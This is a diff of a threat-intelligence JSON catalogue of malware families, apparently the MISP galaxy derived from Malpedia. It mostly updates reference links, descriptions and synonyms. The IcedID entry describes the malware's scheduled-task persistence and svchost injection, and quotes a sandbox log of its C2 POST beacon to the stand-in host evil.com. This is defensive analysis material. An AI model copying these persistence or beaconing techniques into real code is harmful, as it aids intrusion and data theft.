"http://id-ransomware.blogspot.com/2019/10/hdmr-ransomware.html", + "https://twitter.com/malwrhunterteam/status/1205096379711918080/photo/1" ], "synonyms": [ "GO-SPORT" @@ -25884,15 +27392,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d2c1a439-585a-48bc-8176-c0c46dfac270", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "af8df5d7-cd8c-41ea-b9ec-b69ab7811e2d", "value": "HDRoot" }, @@ -25901,11 +27400,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip", - "https://blogs.blackberry.com/en/2022/04/threat-thursday-headertip-backdoor-shows-attackers-from-china-preying-on-ukraine", - "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-headertip", "https://cert.gov.ua/article/38097", - "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-headertip" + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/", + "https://blogs.blackberry.com/en/2022/04/threat-thursday-headertip-backdoor-shows-attackers-from-china-preying-on-ukraine" ], "synonyms": [], "type": [] @@ -25923,15 +27422,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "7c05c816-481f-499e-9545-d48b635dc2eb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "9af26655-cfba-4e02-bd10-ad1a494e0b5f", "value": "Helauto" }, @@ -25940,38 +27430,42 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hellobot", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt" + "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html" ], "synonyms": [], "type": [] }, "uuid": "64cecfd4-96fd-42a3-8537-fc0e041271a2", - "value": "HelloBot" + "value": "HelloBot (Windows)" }, { - "description": "", + "description": "Unit42 states that HelloKitty is a ransomware family that first surfaced at the end of 2020, primarily targeting Windows systems. The malware family got its name due to its use of a Mutex with the same name: HelloKittyMutex. The ransomware samples seem to evolve quickly and frequently, with different versions making use of the .crypted or .kitty file extensions for encrypted files. Some newer samples make use of a Golang packer that ensures the final ransomware code is only loaded in memory, most likely to evade detection by security solutions.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hellokitty", - "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/", - "https://www.ic3.gov/Media/News/2021/211029.pdf", - "https://twitter.com/fwosar/status/1359167108727332868", - "https://blog.malwarebytes.com/threat-spotlight/2021/03/hellokitty-when-cyberpunk-met-cy-purr-crime/", - "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/", - "https://www.cadosecurity.com/post/punk-kitty-ransom-analysing-hellokitty-ransomware-attacks", + "https://id-ransomware.blogspot.com/2020/11/hellokitty-ransomware.html", "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://twitter.com/fwosar/status/1359167108727332868", + "https://www.intrinsec.com/vice-society-spreads-its-own-ransomware/", + "https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/", + "https://www.cadosecurity.com/post/punk-kitty-ransom-analysing-hellokitty-ransomware-attacks", + "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://medium.com/proferosec-osm/static-unpacker-and-decoder-for-hello-kitty-packer-91a3e8844cb7", + "https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.ic3.gov/Media/News/2021/211029.pdf", + "https://blog.malwarebytes.com/threat-spotlight/2021/03/hellokitty-when-cyberpunk-met-cy-purr-crime/", + "https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html", + "https://labs.sentinelone.com/hellokitty-ransomware-lacks-stealth-but-still-strikes-home/", "https://www.speartip.com/resources/fbi-hellokitty-ransomware-adds-ddos-to-extortion-arsenal/", "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", - "https://medium.com/proferosec-osm/static-unpacker-and-decoder-for-hello-kitty-packer-91a3e8844cb7", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://labs.sentinelone.com/hellokitty-ransomware-lacks-stealth-but-still-strikes-home/", - "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", - "https://id-ransomware.blogspot.com/2020/11/hellokitty-ransomware.html", - "https://www.bleepingcomputer.com/news/security/hellokitty-ransomware-is-targeting-vulnerable-sonicwall-devices/" + "https://www.bleepingcomputer.com/news/security/hellokitty-ransomware-is-targeting-vulnerable-sonicwall-devices/", + "https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/" ], "synonyms": [ "KittyCrypt" @@ -25986,12 +27480,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth", - "https://blog.morphisec.com/iranian-fileless-cyberattack-on-israel-word-vulnerability", - "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", - "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html", - "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", - "https://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/", + "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", + "https://blog.morphisec.com/iranian-fileless-cyberattack-on-israel-word-vulnerability", + "https://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html", "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" ], "synonyms": [], @@ -26032,9 +27526,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor", "https://insights.sei.cmu.edu/cert/2019/03/api-hashing-tool-imagine-that.html", - "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks" + "https://vblocalhost.com/uploads/VB2021-Slowik.pdf" ], "synonyms": [], "type": [] @@ -26047,16 +27541,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html", - "https://www.youtube.com/watch?v=9nuo-AGg4p4", - "https://web.archive.org/web/20200922165625/https://dcso.de/2019/03/18/enterprise-malware-as-a-service/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", "https://vxhive.blogspot.com/2020/11/deep-dive-into-hermes-ransomware.html", + "https://www.youtube.com/watch?v=9nuo-AGg4p4", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12", - 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"https://threatconnect.com/blog/the-anthem-hack-all-roads-lead-to-china/", + "https://attack.mitre.org/groups/G0026", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/", "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", - "https://attack.mitre.org/groups/G0026" + "https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/", + "https://threatconnect.com/blog/the-anthem-hack-all-roads-lead-to-china/", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" ], "synonyms": [ "HttpDump" ], "type": [] }, - "related": [ - { - "dest-uuid": "08e2c9ef-aa62-429f-a6e5-e901ff6883cd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "79f93d04-f6c8-4705-9395-7f575a61e82f", "value": "HttpBrowser" }, @@ -26729,9 +28223,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper", - "https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf", "http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf" + "https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787" ], "synonyms": [ "httpdr0pper" @@ -26760,9 +28254,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hui_loader", - "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", - "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf" + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html" ], "synonyms": [], "type": [] @@ -26796,6 +28290,19 @@ "uuid": "40157734-eb33-4187-bcc8-2cd168db6fda", "value": "Hupigon" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.huskloader", + "https://twitter.com/SethKingHi/status/1612377098777133057" + ], + "synonyms": [], + "type": [] + }, + "uuid": "06649edb-d078-4403-a628-6295d1bc4ad8", + "value": "HuskLoader" + }, { "description": "", "meta": { @@ -26831,45 +28338,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/iron-tiger-compromises-chat-application-mimi,-targets-windows,-mac,-and-linux-users/IOCs-IronTiger-compromises-chat-application-mimi-targets-windows-mac-linux-users.txt", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", - "https://blog.team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", - "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf", - "https://team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", - "https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx", - "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", - "https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/", - "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf?__blob=publicationFile&v=10", - "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", - "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://www.bleepingcomputer.com/news/security/german-govt-warns-of-apt27-hackers-backdooring-business-networks/", - "https://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html", - "http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", + "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", + "https://www.secureworks.com/research/threat-profiles/bronze-union", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/iron-tiger-compromises-chat-application-mimi,-targets-windows,-mac,-and-linux-users/IOCs-IronTiger-compromises-chat-application-mimi-targets-windows-mac-linux-users.txt", "https://securelist.com/luckymouse-hits-national-data-center/86083/", + "https://www.bleepingcomputer.com/news/security/german-govt-warns-of-apt27-hackers-backdooring-business-networks/", "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "https://cyware.com/news/apt27-group-targets-german-organizations-with-hyperbro-2c43b7cf/", - "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", + "https://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html", + "https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", + "http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", + "https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx", + "https://team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", + "https://www.intrinsec.com/apt27-analysis/", + "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", + "https://blog.team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/" + "https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf", + "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf?__blob=publicationFile&v=10", + "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", + "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e1bfe1d9-190c-4cf4-aec8-a8f2c41c7d8b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b7f1abd3-870b-42ca-9bd1-5931126c68d5", "value": "HyperBro" }, @@ -26891,17 +28390,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", - "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", - "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", + "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Article-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf", - "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", + "https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Slides-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf", "https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx", "https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf", - "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", - "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", - "https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Slides-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf", - "https://norfolkinfosec.com/emissary-panda-dll-backdoor/" + "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://norfolkinfosec.com/emissary-panda-dll-backdoor/", + "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html", + "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://twitter.com/ESETresearch/status/1594937054303236096", + "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" ], "synonyms": [ "FOCUSFJORD", @@ -26911,151 +28412,209 @@ "type": [] }, "uuid": "84f43641-77bc-4dcb-a104-150e8574da22", - "value": "HyperSSL" + "value": "HyperSSL (Windows)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.hzrat", + "https://medium.com/@DCSO_CyTec/hz-rat-goes-china-506854c5f2e2" + ], + "synonyms": [], + "type": [] + }, + "uuid": "eaaebc38-73d8-48b7-9927-2d2523870795", + "value": "HZ RAT" + }, + { + "description": "Icarus is a modular stealer software, written in .NET. One module is the open source r77 rootkit.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.icarus", + "https://twitter.com/struppigel/status/1566685309093511170" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8f1225ba-a636-488b-a288-ab777708a205", + "value": "Icarus" }, { "description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n * Name: Update\r\n * Trigger: At Log on\r\n * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If “/i” is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid", - "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", - "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", - "https://twitter.com/felixw3000/status/1521816045769662468", - "https://malwation.com/icedid-malware-technical-analysis-report/", - "https://thedfirreport.com/2021/05/12/conti-ransomware/", - "https://tccontre.blogspot.com/2021/01/", - "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://blogs.vmware.com/security/2021/07/hunting-icedid-and-unpacking-automation-with-qiling.html", - "https://blog.malwarebytes.com/threat-analysis/2019/12/new-version-of-icedid-trojan-uses-steganographic-payloads/", - "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", - "https://zero2auto.com/2020/06/22/unpacking-visual-basic-packers/", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", - "https://blog.cyberint.com/icedid-stealer-man-in-the-browser-banking-trojan", - "https://team-cymru.com/blog/2021/05/19/tracking-bokbot-infrastructure/", - "https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917", - "https://gist.github.com/psrok1/e6bf5851d674edda03a201e7f24a5e6b", - "https://blog.minerva-labs.com/icedid-maas", - "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", - "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", - "https://medium.com/@dawid.golak/icedid-aka-bokbot-analysis-with-ghidra-560e3eccb766", - "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://threatresearch.ext.hp.com/detecting-ta551-domains/", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", - "https://netresec.com/?b=214d7ff", - "https://tccontre.blogspot.com/2020/08/learning-from-iceid-loader-including.html", - "https://blog.group-ib.com/prometheus-tds", - "https://blog.reconinfosec.com/an-encounter-with-ta551-shathak", - "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one.html", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.binarydefense.com/icedid-gziploader-analysis/", - "https://securityintelligence.com/icedid-banking-trojan-spruces-up-injection-tactics-to-add-stealth/", - "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two.html", - "https://isc.sans.edu/diary/28636", - "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", - "https://www.crowdstrike.com/blog/bokbots-man-in-the-browser-overview/", - "https://www.mimecast.com/globalassets/documents/whitepapers/taa551-treatresearch_final-1.15.21.pdf", - "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", - "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", - "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/", - "https://github.com/telekom-security/icedid_analysis", - "https://www.uptycs.com/blog/icedid-campaign-spotted-being-spiced-with-excel-4-macros", - "https://kienmanowar.wordpress.com/2020/08/16/manual-unpacking-icedid-write-up/", - "https://www.youtube.com/watch?v=wObF9n2UIAM", - "https://unit42.paloaltonetworks.com/atoms/monsterlibra/", - "https://blogs.juniper.net/en-us/threat-research/iceid-campaign-strikes-back", - "https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html", - "https://www.nri-secure.co.jp/blog/explaining-the-tendency-of-malware-icedid", - "https://blog.talosintelligence.com/2020/07/valak-emerges.html", - "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240", - "https://www.f5.com/labs/articles/threat-intelligence/icedid-banking-trojan-uses-covid-19-pandemic-to-lure-new-victims", - "https://securityintelligence.com/icedid-operators-using-atsengine-injection-panel-to-hit-e-commerce-sites/", - "https://www.socinvestigation.com/icedid-banking-trojan-returns-with-new-ttps-detection-response/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://nikpx.github.io/malware/analysis/2022/03/09/BokBot", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.youtube.com/watch?v=oZ4bwnjcXWg", - 